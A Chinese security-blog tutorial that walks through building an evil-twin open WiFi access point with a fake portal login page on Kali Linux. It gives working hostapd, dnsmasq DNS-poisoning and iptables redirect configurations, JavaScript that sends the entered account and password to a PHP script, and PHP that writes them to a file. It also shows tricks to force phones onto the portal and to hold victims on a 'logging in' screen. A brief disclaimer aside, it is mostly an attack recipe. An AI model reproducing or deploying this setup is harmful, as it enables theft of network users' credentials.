freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

linux 模拟开放网络,搭建虚假portal网页认证wifi
2023-01-30 15:54:12
所属地 安徽省

效果

用户打开WiFi,会扫描到和一个与目标网络同样的网络xx.portal,同为开放型可以直接连接到该WiFi ,然后

设备会提示该网络需要登录,并自动跳转到登录页面

如果用户忽略或退出自动跳转,当其打开任意一个网页(http,https),都会自动转到登录网页.

当用户输入上网账号密码时,会一直提示正在登录,让用户卡在正在登陆界面,但其上网账号与密码已经被我们截获.

(不考虑让输入账号密码的用户能真正获取冲浪资格)

环境

kali+apache2(显示登录页面)+dnsmasq(dns配置,dhcp配置)+hostapd(虚假wifi搭建)+iptables(防火墙配置)
kali uname -a

Linux kali 5.18.0-kali7-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.16-1kali1 (2022-08-31) x86_64 GNU/Linux

前言

请勿用于非法用途,由此产生的责任与笔者无关.希望读者能追求技术,但坚守本心

开始

hostapd

首先airmon-ng check kill来关闭有障碍的服务,或者可以直接kill掉wpa_supplicant的进程来释放掉wlan0占用

由于要完全模拟普通目标网络的样子,首先更改软路由ip地址
ipconfig wlan0 172.16.253.3
配置hostapd.conf模拟open wifi

interface=wlan0
#ssid=LAPTOP-UTF-swe13k
ssid=xx.portal

hw_mode=g
drive=nl80211
ieee80211n=1
channel=6
auth_algs=1

笔者也是刚刚了解hostapd,部分配置原理不是很清楚,很多是照着网络上写的,有懂的读者可以指正
注意测试阶段假ap的ssid可以与目标网络不一样,在真正开始钓鱼的时候再改为目标网络的名称

dnsmasq

当一个用户访问网络时,如果目标域名的IP地址不在自身dns缓存表中时,会首先向ap发出一个dns查询请求(本来是使用isc-dhcp-server来进行dhcp配置的,但后期发现还需要搭建dns服务器,就直接使用dnsmasq了)
dnsmasq.conf的主要配置如下(dns期骗,dhcp配置)

address=/*/172.16.253.3 #对于所有的dns请求,都返回本机的ip地址

这里被称为dns污染,客户端会将查询到的对应ip地址在自己的dns缓存表中记录一段时间,导致一时间不能够访问真正的网站,好孩子千万不要这样做

dhcp-range=172.16.253.5,172.16.253.255,255.255.255.0,2h #dhcp

iptables

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 172.16.253.3:80
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to 172.16.253.3:443
将目标端口为80的流量转接到本地的80端口
将目标端口为443的流量转接到本地的443端口
目的是,当用户本地有dns缓存,比如直接访问baidu时,不会显示网络无法连接,会跳转到本机的网络登录页面

apache2

常规http

因为我们要复制目标网络的登录页面(html+js静态),本来打算直接使用setoolkit网站克隆,结果无论如何都无法正常克隆(静态页面,动态呈现)
就直接右键保存页面,并直接添加到apache2的根页面.
使用浏览器控制台调试,输入任意账号密码点击登录
image
经过审计,回溯发现其在向后端发送登录请求前会经过ee()函数
image

修改ee函数,使其进入后,直接向我们的后端pump.php发出请求,记录账号密码,主要代码如下

var req=new XMLHttpRequest();
//form.DDDDD为用户账号,form.upass为用户密码
//alert("pump.php?name="+String(form.DDDDD.value)+"&pass="+String(form.upass.value));
req.open("GET","pump.php?name="+String(form.DDDDD.value)+"&pass="+String(form.upass.value),true);
req.send();

后端文件pump.php代码很简单,只是简单记录

<?php
#var_dump($_GET());
if (isset($_GET['nam']) and isset($_GET['pass'])){
	$f=fopen('u_p.txt','a');
	$up=$_GET['name'] . ' ' . $_GET['pass'] . '\n';
	#echo $up;
	fwrite($f,$up);
	fclose($f);
}
?>

把正在登录的界面修改timeout为9999(原先为3)

box.show({content: lang('正在登录...'),timeout: 9999});

内网https

由于在dnsmasq一步,我们将所有的dns查询转到本机,当用户访问https(443端口)时,仍会显示无法连接
所以给apache2配置内网https ssl认证
参考 wish_blue_sky大神文章
但是我不需要手动添加证书(可能时kali的原因),直接命令就可

a2enmod ssl
a2ensite default-ssl

输入命令后重启apache2直接就可以访问https,但无可避免的遇到证书不可信的提示(目标网络也会这样)
目标网络的不安全证书(阿鲁巴为网络提供商)
image
我们的不安全网络证书(kali友情提供)
image
大部分人即便点击查看证书看了一眼,也可能不知道kali是什么,于是就不打算再重新写证书过分伪装了

处理手机的网络验证

冲浪得知,当手机连接的wifi时会先向自己的网站发送一个http1.0数据包,如果正常到达,就说明wifi无portal认证,如果有302跳转,则说明需要认证,自动跳转到认证网页.
比如http://me.com/test/success

一般情况下手机先访问预先测试网页,而我们的apache2网站是没有这样的文件的,会得到一个404返回值,此时我们修改404为302跳转到我们的认证页面,就可以欺骗手机来自动跳转到我们的登录页面

  1. 修改/etcapache2/apache2.conf将AllowOverride 的None 修改为All
    使其允许重新定义状态码

<Directory /usr/www/>
	Options Indexes Follow SynLinks
	AllowOverride All
	Require all granted
</Directory>
  1. 在网站根目录下写.htaccess文件 将404状态交给404.php来处理

ErrorDocument 404 /404.php

404.php内容如下,简单302重定向

<?php header("Location: index.html"); ?>

结语

大家在连接WiFi的时候一定要考虑其安全性,
有些专业钓鱼网络能提供流量给用户,但会记录用户的所有网络请求,获取其隐私数据.

如有建议或优化思路,欢迎评论指正或私信
如果本篇文章对你有帮助,请不要吝啬你的点赞

# linux # wifi安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录